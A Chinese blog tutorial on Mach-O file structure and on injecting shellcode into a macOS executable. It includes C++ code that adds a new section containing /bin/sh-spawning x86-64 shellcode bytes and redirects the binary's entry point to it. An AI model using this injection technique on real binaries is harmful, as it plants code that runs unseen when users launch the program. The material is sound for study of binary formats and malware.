在上一篇ELF文件注入shellcode原理与实现中我们已经了解了基本概念,同时也大概了解了这种静态注入文件的原理,这一篇讲的是Macho文件注入shellcode原理与实现,Macho文件是苹果系统下的一种通用文件格式,这里直接讲不同点和原理,我们先看看Macho文件格式,如下图所示。
Macho文件与其它文件格式设计的不太一样,然而这种设计相对其它文件格式从我的角度来看的话是最容易扩展也容易理解的一种设计,大家如果早期用过苹果都知道他从PowerPC架构转到Intel架构,现在在PC端又出来ARM架构的,不能不说苹果在这方面还是很成熟的,然而Macho起到了很大的作用。
我们这里讲不一样的地方,属先Macho文件它有俩个头,一个叫作fat_header,结构体如下所示。
struct fat_header {
unsigned long magic; /* FAT_MAGIC */
unsigned long nfat_arch; /* number of structs that follow */
};
struct fat_arch {
cpu_type_t cputype; /* cpu specifier (int) */
cpu_subtype_t cpusubtype; /* machine specifier (int) */
unsigned long offset; /* file offset to this object file */
unsigned long size; /* size of this object file */
unsigned long align; /* alignment as a power of 2 */
};
因为Macho文件它可以支持多种架构,fat_header后面就是某个特定架构的文件头(这里只说intel),结构体如下所示。
struct mach_header_64 {
uint32_t magic; /* mach magic number identifier */
cpu_type_t cputype; /* cup 架构 cpu specifier */
cpu_subtype_t cpusubtype; /* machine specifier */
// 文件类型常见有的MH_OBJECT(目标文件)、MH_EXECUTABLE(可执行二进制文件)、MH_DYLIB (动态库)。
uint32_t filetype; /* 文件类型 type of file */
uint32_t ncmds; /* 加载命令数量 number of load commands */
uint32_t sizeofcmds; /* 所有加载命令的大小 the size of all the load commands */
uint32_t flags; /* 位的标记 flags */
uint32_t reserved; /* reserved */
};
还有一个不同点是Macho文件头后面是一堆Load_commands,所谓的"指令”,学过C语言的应该知道一种swhich case语句,然后发现这正好是这种思想,我们只要按自己需求加case就行也就是定义自己的"指令”,然而这些"指令”对应哪些段,加载器很容易的找到这些段加载,后面就和其它文件格式差不多。
话要说回来确实Macho文件由于加了这么多东西比其它文件格式相对复杂点,也就我们写注入的时候难度大点,我们先讲下Macho注入原理,很简单通过上面也知道就是加一节然后重新组合Macho文件,可想而知,由于结构的增加复杂度也提高了,要修改的地方太多了(想了解详细内容可以联系作者。),这里开始写实现代码,先一样提供三个文件名,如下代码所示。
const char *file_path="/Volumes/haidragon-E/haidragon_study/study_executable_file_formats/Macho/page1/inject/test";
const char *shellcode_path="/Volumes/haidragon-E/haidragon_study/study_executable_file_formats/Macho/page1/inject/shell";
const char *out_file="/Volumes/haidragon-E/haidragon_study/study_executable_file_formats/Macho/page1/inject/new_test";
其中一个编译好的shellcode(是执行一个shell)和一个测试程序,如下图所示。
然后我们把这个添加到一个新节中,修改入口(这里就没跳回原来入口执行。)重新生成一个新的Macho文件,如下代码所示。
const SegmentCommand* __TEXT=binary.get_segment("__TEXT");
Section new_section{".shellcode"};
new_section.alignment(2);
std::vector<uint8_t> data{
0x48, 0x31, 0xF6, 0x56, 0x48, 0xBF, 0x2F, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x57, 0x48,
0x89, 0xE7, 0x48, 0x31, 0xD2, 0x48, 0x31, 0xC0, 0xB0, 0x02, 0x48, 0xC1, 0xC8, 0x28, 0xB0, 0x3B,
0x0F, 0x05
};
new_section.content(std::move(data));
Section* section=binary.add_section(new_section);
uint64_t entrypoint=section->virtual_address()-__TEXT->virtual_address();
printf("section %d\n",section->virtual_address());
printf("__TEXT %d\n",__TEXT->virtual_address());
printf("old entrypoint %d\n",binary.main_command().entrypoint());
binary.main_command().entrypoint(entrypoint);
new_section.content(std::move(data));
binary.write(out_file);
运行效果如下图所示。
我们用MachOView工具对比下俩个程序的入口,如下图所示。
对比二进制文件如下图所示。
到这里大概容易了解完了,不可能通过一篇文章把所有东西全讲到,最多讲个大概,更多详细内容可以联系作者。
大佬们留个关注再走呗,后续精彩文章不断